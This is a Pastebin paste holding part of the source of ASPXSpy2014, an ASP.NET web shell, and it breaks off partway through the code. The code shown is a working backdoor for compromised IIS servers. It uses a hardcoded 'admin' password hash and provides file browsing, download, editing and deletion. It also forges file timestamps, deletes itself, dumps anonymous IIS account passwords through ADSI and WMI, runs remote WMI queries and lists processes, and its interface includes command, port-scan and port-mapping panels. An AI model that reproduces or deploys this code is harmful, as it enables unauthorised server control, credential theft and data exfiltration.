Guest User

Untitled

a guest
Dec 22nd, 2016
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 110.07 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.IO.Compression"%>
  4. <%@ import Namespace="System.Diagnostics"%>
  5. <%@ import Namespace="System.Data"%>
  6. <%@ import Namespace="System.Data.OleDb"%>
  7. <%@ import Namespace="System.Data.Common"%>
  8. <%@ Import Namespace="System.Data.SqlClient"%>
  9. <%@ import Namespace="System.Management"%>
  10. <%@ import Namespace="Microsoft.Win32"%>
  11. <%@ import Namespace="System.Net" %>
  12. <%@ import Namespace="System.Net.Sockets" %>
  13. <%@ import Namespace="System.Reflection"%>
  14. <%@ import Namespace="System.Runtime.InteropServices"%>
  15. <%@ import Namespace="System.DirectoryServices"%>
  16. <%@ import Namespace="System.ServiceProcess"%>
  17. <%@ import Namespace="System.Text.RegularExpressions"%>
  18. <%@ Import Namespace="System.Security"%>
  19. <%@ Import Namespace="System.Security.Permissions"%>
  20. <%@ Import Namespace="System.Threading"%>
  21. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  22. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  23. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  24. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  25. <script runat="server">
  26. /*
  27. Thanks Snailsor,FuYu,BloodSword,Cnqing,Dream
  28. Code by Bin
  29. Make in China
  30. Blog: http://www.rootkit.net.cn
  31. E-mail : master@rootkit.net.cn
  32.  
  33. Mod by zcgonvh,last modified on 2014-01-23
  34. Bug or idea: zcgonvh@rootkit.net.cn
  35. */
  36. public const string Version="ASPXSpy2014";
  37. public const string Password="21232f297a57a5a743894a0e4a801fc3"; //admin
  38. private const string DomainUserName="administrator";//change it if domain user name not equals "administrator"
  39. private const string PMCacheName=Version+"PMList";
  40. private int CssC=1;
  41. private DbConnection conn=null;
  42. private DbCommand comm=null;
  43. protected void Page_Load(object sender,EventArgs e)
  44. {
  45. JscriptSender(this);
  46. if (!Bin_CheckLogin()){return;}
  47. if(IsPostBack)
  48. {
  49. zcg_GetDriver();
  50. zcg_SetHeaderInfo();
  51. string Bin_Target=Request["__EVENTTARGET"];
  52. string Bin_Path=Request["__File"];
  53. if(Bin_Target!="")
  54. {try{
  55. switch(Bin_Target)
  56. {
  57. case "Bin_Listdir":
  58. Bin_File(Bin_FromBase64(Bin_Path));
  59. break;
  60. case "Bin_Deldir":
  61. Bin_Deldir(Bin_FromBase64(Bin_Path));
  62. break;
  63. case "Bin_Createfile":
  64. Bin_CreateFile(Bin_Path);
  65. break;
  66. case "Bin_Editfile":
  67. Bin_CreateFile(Bin_Path);
  68. break;
  69. case "Bin_Createdir":
  70. Bin_CreateDir(Bin_Path);
  71. break;
  72. case "Bin_CloneTime":
  73. Bin_CloneTime(Bin_Path);
  74. break;
  75. case "Bin_DownFile":
  76. Bin_DownFile(Bin_FromBase64(Bin_Path));
  77. break;
  78. case "Bin_DelFile":
  79. Bin_DelFile(Bin_Path);
  80. break;
  81. case "Bin_Regread":
  82. Bin_ShowReg(Bin_FromBase64(Bin_Path));
  83. break;
  84. case "Bin_KillMe":
  85. Bin_KillMe();
  86. break;
  87. case "zcg_KillProcess":
  88. zcg_KillProcess(Bin_Path);
  89. break;
  90. case "zcg_ListADS":
  91. zcg_txbADSPath.Value=Bin_FromBase64(Bin_Path);
  92. zcg_EnumADSChildrenAndListProperties(Bin_FromBase64(Bin_Path),zcg_txbADSUser.Value,zcg_txbADSPass.Value,zcg_txbADSType.Value);
  93. break;
  94. case "zcg_ClosePM":
  95. zcg_ClosePM(Bin_FromBase64(Bin_Path));
  96. break;
  97. }
  98. if(Bin_Target.StartsWith("zcg_Rename"))
  99. {
  100. zcg_Rename(Bin_FromBase64(Bin_Target.Replace("zcg_Rename","")),Bin_Path);
  101. }
  102. else if(Bin_Target.StartsWith("Bin_CFile"))
  103. {
  104. Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path);
  105. }
  106. }catch(Exception ex){zcg_ShowError(ex);}}
  107. }
  108. else
  109. {Bin_Main();}
  110. }
  111. void IHttpHandler.ProcessRequest(HttpContext context)
  112. {
  113. try{base.ProcessRequest(context);}
  114. catch(SecurityException ex){context.Response.Clear();context.Response.Write("AspxSpy request low-trust minimum,Exception message: "+ex.Message);}
  115. catch(Exception ex){context.Response.Write(String.Format("Unhandled exception: {0} <pre><xmp>\r\nmessage:\r\n {1} \r\ntrace:\r\n {2} \r\n string:\r\n {3}</xmp></pre>",ex.GetType(),ex.Message,ex.StackTrace,ex));}
  116. }
  117. private void Hide_Div()
  118. {
  119. Bin_Div_Process.Visible = false;
  120. Bin_Div_File.Visible = false;
  121. Bin_Div_Cmd.Visible = false;
  122. Bin_Div_Reg.Visible = false;
  123. Bin_Div_PortScan.Visible = false;
  124. Bin_Div_Data.Visible = false;
  125. Bin_Div_PortMap.Visible = false;
  126. Bin_Div_Edit.Visible = false;
  127. Bin_Div_Search.Visible = false;
  128. Bin_Div_WmiTools.Visible = false;
  129. zcg_div_ADSViewer.Visible=false;
  130. zcg_div_Plugin.Visible=false;
  131. }
  132. private bool Bin_CheckLogin()
  133. {
  134. if(Request.Cookies[Version]==null)
  135. {
  136. Bin_Login();
  137. return false;
  138. }
  139. else
  140. {
  141. if (Request.Cookies[Version].Value!=Password)
  142. {
  143. Bin_Login();
  144. return false;
  145. }
  146. else
  147. {
  148. return true;
  149. }
  150. }
  151. }
  152. private void Bin_Login()
  153. {
  154. Bin_Div_Login.Visible=true;
  155. Bin_Div_Content.Visible=false;
  156. }
  157. protected void Bin_Button_Logout_Click(object sender,EventArgs e)
  158. {
  159. Session.Abandon();
  160. Response.Cookies.Add(new HttpCookie(Version,null));
  161. Bin_Login();
  162. }
  163. private void Bin_Main()
  164. {
  165. zcg_SetHeaderInfo();
  166. zcg_GetDriver();
  167. if (Bin_TextBox_Path.Value=="")
  168. {
  169. Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
  170. }
  171. Bin_File(Bin_TextBox_Path.Value);
  172. }
  173. private void zcg_SetHeaderInfo()
  174. {
  175. Bin_Div_Content.Visible=true;
  176. Bin_Div_Login.Visible=false;
  177. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  178. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  179. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('Bin_KillMe','');};";
  180. Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")"+zcg_CheckPermission();
  181. Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  182. }
  183. private string zcg_CheckPermission()
  184. {
  185. string s="&nbsp;&nbsp;Host Trust Level:&nbsp;&nbsp;<span style='color:red;'>{0}</span>&nbsp;&nbsp;IsFull-Trust:&nbsp;&nbsp;<span style='color:red;'>{1}</span>&nbsp;&nbsp;User:&nbsp&nbsp;<span style='color:red;'>{2}</span>";
  186. string u=zcg_GetUserName();
  187. try{(new PermissionSet(PermissionState.Unrestricted)).Demand();return string.Format(s,GetTrustLevel(),true,u);}
  188. catch{return string.Format(s,GetTrustLevel(),false,u);}
  189. }
  190. private string zcg_GetUserName()
  191. {
  192. try{return System.Security.Principal.WindowsIdentity.GetCurrent().Name;}catch{return "Unknown -- No permission";}
  193. }
  194. private string GetTrustLevel()
  195. {
  196. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand();return "Full";}catch{}
  197. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand();return "High";}catch{}
  198. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand();return "Medium";}catch{}
  199. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand();return "Low";}catch{}
  200. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand();return "Minimal";}catch{}
  201. try{new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand();return "None";}catch{}
  202. return "Unknown";
  203. }
  204. private void zcg_GetDriver()
  205. {
  206. string[] drivers=null;
  207. try{drivers=Directory.GetLogicalDrives();}
  208. catch{string drs="";
  209. for(int i=0x41;i<0x5b;i++)
  210. {
  211. string ds=new string((new char[]{(char)i,':','\\'}));
  212. try
  213. {
  214. DriveInfo di=new DriveInfo(ds);
  215. if(di.DriveType!=DriveType.NoRootDirectory){drs+=ds+"|";}
  216. }catch{}
  217. finally{drivers=drs.Split(new char[]{'|'},(StringSplitOptions)1);}
  218. }}
  219. Bin_Span_Drv.InnerHtml="";
  220. for(int i=0;i<drivers.Length;i++)
  221. {
  222. Bin_Span_Drv.InnerHtml+=String.Format("<a href=\"javascript:Bin_PostBack('Bin_Listdir','{0}')\">{1}</a> | ",Bin_ToBase64(drivers[i]),Bin_Drvbuild(drivers[i]));
  223. }
  224. }
  225. private string Bin_PathBuild(string path)
  226. {
  227. if(!path.EndsWith(@"\")){path+=@"\";}return path;
  228. }
  229. private string Bin_Drvbuild(string instr)
  230. {
  231. DriveInfo di=new DriveInfo(instr);
  232. return String.Format("{0}({1}:)",di.DriveType,instr[0]);
  233. }
  234. private string Bin_ToBase64(string instr)
  235. {
  236. byte[] tmp=Encoding.UTF8.GetBytes(instr);
  237. return Convert.ToBase64String(tmp);
  238. }
  239. private string Bin_FromBase64(string instr)
  240. {
  241. byte[] tmp=Convert.FromBase64String(instr);
  242. return Encoding.UTF8.GetString(tmp);
  243. }
  244. private TableRow zcg_GetTableRow()
  245. {
  246. TableRow tr=new TableRow();
  247. zcg_SetControlAttribute(tr);
  248. return tr;
  249. }
  250. private void zcg_SetControlAttribute(WebControl ctl)
  251. {
  252. string bg=Bin_Css();
  253. ctl.Attributes["onmouseover"]="this.className='focus';";
  254. ctl.CssClass=bg;
  255. ctl.Attributes["onmouseout"]="this.className='"+bg+"';";
  256. }
  257. private void Bin_File(string path)
  258. {
  259. try{
  260. Hide_Div();
  261. Bin_Div_File.Visible=true;
  262. Bin_H2_Title.InnerText="File Manager >>";
  263. Bin_TextBox_Path.Value=Bin_PathBuild(path);
  264. path=(path.EndsWith("\\")&&(!path.EndsWith(":\\")))?path.TrimEnd('\\'):path;
  265. DirectoryInfo Bin_dir=new DirectoryInfo(path);
  266. try{
  267. if(Directory.GetParent(path)!=null)
  268. {
  269. TableRow p=zcg_GetTableRow();
  270. for(int i=1;i<6;i++)
  271. {
  272. TableCell pc=new TableCell();
  273. if(i==1)
  274. {
  275. pc.Width=Unit.Parse("2%");
  276. pc.Text="0";
  277. }
  278. if(i==2)
  279. {
  280. pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Directory.GetParent(path).ToString())+"')\">Parent Directory</a>";
  281. }
  282. p.Cells.Add(pc);
  283. Bin_Table_File.Rows.Add(p);
  284. }
  285. }}catch{}
  286. try
  287. {
  288. int dir_c=0;
  289. foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  290. {
  291. dir_c++;
  292. TableCell tc=new TableCell();
  293. tc.Width=Unit.Parse("2%");
  294. tc.Text="0";
  295. TableRow tr=zcg_GetTableRow();
  296. tr.Cells.Add(tc);
  297. TableCell dirname=new TableCell();
  298. dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
  299. tr.Cells.Add(dirname);
  300. TableCell dirtime=new TableCell();
  301. dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  302. tr.Cells.Add(dirtime);
  303. Bin_Table_File.Rows.Add(tr);
  304. TableCell dirsize=new TableCell();
  305. dirsize.Text="--";
  306. tr.Cells.Add(dirsize);
  307. Bin_Table_File.Rows.Add(tr);
  308. TableCell diraction=new TableCell();
  309. diraction.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
  310. tr.Cells.Add(diraction);
  311. Bin_Table_File.Rows.Add(tr);
  312. }
  313. TableRow intr=new TableRow();
  314. intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  315. intr.Attributes["bgcolor"]="#dddddd";
  316. TableCell intc=new TableCell();
  317. intc.Attributes["colspan"]="6" ;
  318. intc.Attributes["height"]="5";
  319. intr.Cells.Add(intc);
  320. Bin_Table_File.Rows.Add(intr);
  321. int file_c=0;
  322. foreach(FileInfo Bin_Files in Bin_dir.GetFiles())
  323. {
  324. file_c++;
  325. TableRow tr=zcg_GetTableRow();
  326. TableCell tc=new TableCell();
  327. tc.Width=Unit.Parse("2%");
  328. tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">";
  329. tr.Cells.Add(tc);
  330. TableCell filename=new TableCell();
  331. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  332. {
  333. string url=Request.Url.ToString();
  334. filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
  335. }
  336. else
  337. {
  338. filename.Text=Bin_Files.Name;
  339. }
  340. TableCell filetime=new TableCell();
  341. filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  342. TableCell filesize=new TableCell();
  343. filesize.Text=Bin_FileSize(Bin_Files.Length);
  344. TableCell action=new TableCell();
  345. action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"')\">Time</a> ";
  346. tr.Cells.Add(filename);
  347. tr.Cells.Add(filetime);
  348. tr.Cells.Add(filesize);
  349. tr.Cells.Add(action);
  350. Bin_Table_File.Rows.Add(tr);
  351. }
  352. TableRow cktr=zcg_GetTableRow();
  353. for(int i=1;i<4;i++)
  354. {
  355. TableCell cktd=new TableCell();
  356. if(i==1)
  357. {
  358. cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
  359. }
  360. if(i==2)
  361. {
  362. cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>";
  363. }
  364. if(i==3)
  365. {
  366. cktd.ColumnSpan=4;
  367. cktd.Style.Add("text-align","right");
  368. cktd.Text=dir_c+" directories/ "+file_c+" files";
  369. }
  370. cktr.Cells.Add(cktd);
  371. }
  372. Bin_Table_File.Rows.Add(cktr);
  373. }
  374. catch(Exception err)
  375. {
  376. zcg_ShowError(err);
  377. }}catch(Exception ex){zcg_ShowError(ex);}
  378. }
  379. private string Bin_Css()
  380. {
  381. CssC++;
  382. if(CssC % 2==0)
  383. {
  384. return "alt1";
  385. }
  386. else
  387. {
  388. return "alt2";
  389. }
  390. }
  391. private void Bin_Deldir(string dirstr)
  392. {
  393. try
  394. {
  395. Directory.Delete(dirstr,true);
  396. Bin_Msg("Directory delete success !");
  397. }
  398. catch(Exception error)
  399. {
  400. zcg_ShowError(error);
  401. }
  402. Bin_File(Directory.GetParent(dirstr).ToString());
  403. }
  404. private void zcg_Rename(string source,string dire)
  405. {
  406. try
  407. {
  408. dire=Path.Combine(Bin_TextBox_Path.Value,dire);
  409. Directory.Move(source,dire);
  410. Bin_Msg("Rename Success !");
  411. }
  412. catch(Exception error)
  413. {
  414. Bin_Msg(error.Message);
  415. }
  416. Bin_File(Bin_TextBox_Path.Value);
  417. }
  418. private void Bin_CopyFile(string spath,string dpath)
  419. {
  420. try
  421. {
  422. File.Copy(spath,dpath);
  423. Bin_Msg("File Copy Success !");
  424. }
  425. catch(Exception error)
  426. {
  427. zcg_ShowError(error);
  428. }
  429. Bin_File(Bin_TextBox_Path.Value);
  430. }
  431. private void Bin_CreateDir(string path)
  432. {
  433. try
  434. {
  435. Directory.CreateDirectory(Bin_TextBox_Path.Value+path);
  436. Bin_Msg("Directory created success !");
  437. }
  438. catch(Exception error)
  439. {
  440. zcg_ShowError(error);
  441. }
  442. Bin_File(Bin_TextBox_Path.Value);
  443. }
  444. private void Bin_CreateFile(string path)
  445. {
  446. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  447. {
  448. foreach(ListItem item in Bin_List_Code.Items)
  449. {
  450. if(item.Selected)
  451. {
  452. item.Selected=false;
  453. }
  454. }
  455. }
  456. Bin_H2_Title.InnerText="Create/ Edit File >>";
  457. Hide_Div();
  458. Bin_Div_Edit.Visible=true;
  459. if(path.IndexOf(":")< 0)
  460. {
  461. Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path;
  462. }
  463. else
  464. {
  465. Bin_TextBox_Fp.Value=path;
  466. }
  467. if(File.Exists(Bin_TextBox_Fp.Value))
  468. {
  469. StreamReader sr;
  470. if(Bin_List_Code.SelectedItem.Text=="UTF-8")
  471. {
  472. sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.UTF8);
  473. }
  474. else
  475. {
  476. sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default);
  477. }
  478. Bin_Textarea_Edit.InnerText=sr.ReadToEnd();
  479. sr.Close();
  480. }
  481. else
  482. {
  483. Bin_Textarea_Edit.InnerText="";
  484. }
  485. }
  486. private void Bin_DownFile(string path)
  487. {
  488. FileStream fs=null;
  489. byte[] buffer=new byte[0x1000];
  490. int count=0;
  491. try{
  492. FileInfo fi=new FileInfo(path);
  493. fs=fi.OpenRead();
  494. Response.Clear();
  495. Response.ClearHeaders();
  496. Response.Buffer=false;
  497. this.EnableViewState=false;
  498. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fi.Name,System.Text.Encoding.UTF8));
  499. Response.AddHeader("Content-Length",fi.Length.ToString());
  500. Response.ContentType="application/octet-stream";
  501. count=fs.Read(buffer,0,0x1000);
  502. while(count>0)
  503. {
  504. Response.OutputStream.Write(buffer,0,count);
  505. Response.Flush();
  506. count=fs.Read(buffer,0,0x1000);
  507. }
  508. Page.Response.Flush();
  509. Response.End();
  510. }catch(Exception ex){zcg_ShowError(ex);}
  511. finally{if(fs!=null){fs.Close();}}
  512. }
  513. private void Bin_DelFile(string path)
  514. {
  515. try
  516. {
  517. string[] mydata=path.Split(',');
  518. for(int i=0;i<mydata.Length-1;i++)
  519. {
  520. File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i]));
  521. }
  522. Bin_Msg("File Delete Success !");
  523. }
  524. catch(Exception error)
  525. {
  526. zcg_ShowError(error);
  527. }
  528. Bin_File(Bin_TextBox_Path.Value);
  529. }
  530. private void Bin_KillMe()
  531. {
  532. try
  533. {
  534. File.Delete(Request.PhysicalPath);
  535. Response.Redirect("http://www.rootkit.net.cn");
  536. }
  537. catch(Exception error)
  538. {
  539. zcg_ShowError(error);
  540. }
  541. }
  542. private void Bin_CloneTime(string path)
  543. {
  544.  
  545. try{
  546. path=Path.Combine(Bin_TextBox_Path.Value,path);
  547. Bin_TextBox_Sp.Value=path;
  548. Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value;
  549. Bin_TextBox_Sp1.Value=path;
  550. string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString();
  551. Bin_H2_Title.InnerText="Clone file was last modified time >>";
  552. Hide_Div();
  553. Bin_Div_Time.Visible=true;
  554. if(Att.LastIndexOf("ReadOnly")!=-1)
  555. {
  556. Bin_CheckBox_ReadOnly.Checked=true;
  557. }
  558. if(Att.LastIndexOf("System")!=-1)
  559. {
  560. Bin_CheckBox_System.Checked=true;
  561. }
  562. if(Att.LastIndexOf("Hidden")!=-1)
  563. {
  564. Bin_CheckBox_Hiddent.Checked=true;
  565. }
  566. if(Att.LastIndexOf("Archive")!=-1)
  567. {
  568. Bin_CheckBox_Archive.Checked=true;
  569. }
  570. Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  571. Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  572. Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString();
  573. }catch(Exception ex){zcg_ShowError(ex);}
  574. }
  575. private String Bin_FileSize(Int64 fileSize)
  576. {
  577. if(fileSize<0)
  578. {
  579. throw new ArgumentOutOfRangeException("fileSize");
  580. }
  581. else if(fileSize >= 1024 * 1024 * 1024)
  582. {
  583. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  584. }
  585. else if(fileSize >= 1024 * 1024)
  586. {
  587. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  588. }
  589. else if(fileSize >= 1024)
  590. {
  591. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  592. }
  593. else
  594. {
  595. return string.Format("{0} B",fileSize);
  596. }
  597. }
  598. private void Bin_IISSpy()
  599. {
  600. string iisstr="IIS://localhost/W3SVC";
  601. DirectoryEntry mydir=new DirectoryEntry(iisstr);
  602. foreach(DirectoryEntry child in mydir.Children)
  603. {
  604. int tmpi=0;
  605. if(Int32.TryParse(child.Name.ToString(),out tmpi))
  606. {
  607. DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString());
  608. DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir");
  609. TableRow TR=zcg_GetTableRow();
  610. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  611. for(int i=1;i<6;i++)
  612. {
  613. try
  614. {
  615. TableCell TC_USER=new TableCell();
  616. switch(i)
  617. { case 1:
  618. TC_USER.Text=tmpi.ToString();
  619. break;
  620. case 2:
  621. TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString();
  622. break;
  623. case 3:
  624. TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString();
  625. break;
  626. case 4:
  627. StringBuilder sb=new StringBuilder();
  628. PropertyValueCollection pc=child.Properties["ServerBindings"];
  629. for (int j=0; j < pc.Count; j++)
  630. {
  631. sb.Append(pc[j].ToString()+"<br>");
  632. }
  633. TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  634. break;
  635. case 5:
  636. TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>";
  637. break;
  638. }
  639. TR.Cells.Add(TC_USER);
  640. }
  641. catch{continue;}
  642. }
  643. Bin_Table_IISSpy.Controls.Add(TR);
  644. }
  645. }
  646. }
  647. private void Bin_WMI_IISSpy()
  648. {
  649. Regex re=new Regex(@"W3SVC\/(\d+)\/",RegexOptions.IgnoreCase);
  650. ManagementScope wmiscope=new ManagementScope(@"\\.\root\MicrosoftIISv2");
  651. wmiscope.Connect();
  652. ObjectQuery wmiquery=new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
  653. ManagementObjectSearcher wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
  654. ManagementObjectCollection querycoll=wmisearcher.Get();
  655. foreach(ManagementObject objmanage in querycoll)
  656. {
  657. string siteid=re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value;
  658. TableRow TR=zcg_GetTableRow();
  659. for(int i=1;i<6;i++)
  660. {
  661. try
  662. {
  663. TableCell TC_USER=new TableCell();
  664. switch (i)
  665. {
  666. case 1:
  667. TC_USER.Text=siteid;
  668. break;
  669. case 2:
  670. TC_USER.Text=objmanage["AnonymousUserName"].ToString();
  671. break;
  672. case 3:
  673. TC_USER.Text=objmanage["AnonymousUserPass"].ToString();
  674. break;
  675. case 4:
  676. wmiquery=new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/"+siteid+"'");
  677. wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
  678. ManagementObjectCollection svrcoll=wmisearcher.Get();
  679. foreach(ManagementObject objsvr in svrcoll)
  680. {
  681. StringBuilder sb=new StringBuilder();
  682. TR.Attributes["title"]="Site:"+objsvr["ServerComment"];
  683. foreach(ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"])
  684. {
  685. sb.Append(objbind["IP"].ToString()+":"+objbind["Port"].ToString()+":"+objbind["Hostname"].ToString()+"<br>");
  686. }
  687. TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  688. }
  689. break;
  690. case 5:
  691. TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(objmanage["Path"].ToString())+"')\">"+objmanage["Path"].ToString()+"</a>";
  692. break;
  693. }
  694. TR.Cells.Add(TC_USER);
  695. }
  696. catch{continue;}
  697. }
  698. Bin_Table_IISSpy.Controls.Add(TR);
  699. }
  700. }
  701. private ManagementObjectCollection Bin_WmiQuery(string @namespace,string query)
  702. {
  703. ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
  704. return QS.Get();
  705. }
  706. private DataTable zcg_WmiDataTable(string @namespace,string query)
  707. {
  708. ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
  709. return zcg_WmiSearcherToDataTable(QS);
  710. }
  711. private DataTable zcg_WmiDataTable(string computer,string username,string password,string @namespace,string query)
  712. {
  713. ConnectionOptions connection = new ConnectionOptions();
  714. string domain=(username.IndexOf("\\")>0)?(username.Split('\\')[0]):"";
  715. connection.Username = (username.IndexOf("\\")>0)?(username.Split('\\')[1]):username;
  716. connection.Password = password;
  717. connection.Authority = "ntlmdomain:"+domain;
  718. ManagementScope scope = new ManagementScope("\\\\"+computer+"\\"+@namespace, connection);
  719. scope.Connect();
  720. ObjectQuery objquery= new ObjectQuery(query);
  721. ManagementObjectSearcher QS = new ManagementObjectSearcher(scope, objquery);
  722. return zcg_WmiSearcherToDataTable(QS);
  723. }
  724. private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS)
  725. {
  726. DataTable dt=new DataTable();
  727. foreach(ManagementObject m in QS.Get())
  728. {
  729. DataRow dr=dt.NewRow();
  730. PropertyDataCollection.PropertyDataEnumerator oEnum;
  731. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  732. while(oEnum.MoveNext())
  733. {
  734. PropertyData prop=(PropertyData)oEnum.Current;
  735. if(dt.Columns.IndexOf(prop.Name)==-1)
  736. {
  737. dt.Columns.Add(prop.Name);
  738. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  739. }
  740. if(m[prop.Name]!=null)
  741. {
  742. dr[prop.Name]=m[prop.Name].ToString();
  743. }
  744. else
  745. {
  746. dr[prop.Name]="";
  747. }
  748. }
  749. dt.Rows.Add(dr);
  750. }
  751. return dt;
  752. }
  753. private void Bin_GetProcess()
  754. {
  755. int pcount=0;
  756. Process[] p=Process.GetProcesses();
  757. foreach(Process sp in p)
  758. {
  759. pcount++;
  760. TableRow tr=zcg_GetTableRow();
  761. for(int i=1;i<7;i++)
  762. {
  763. TableCell td=new TableCell();
  764. if(i==1)
  765. {
  766. td.Width=Unit.Parse("2%");
  767. td.Text=pcount.ToString();
  768. tr.Controls.Add(td);
  769. }
  770. if(i==2)
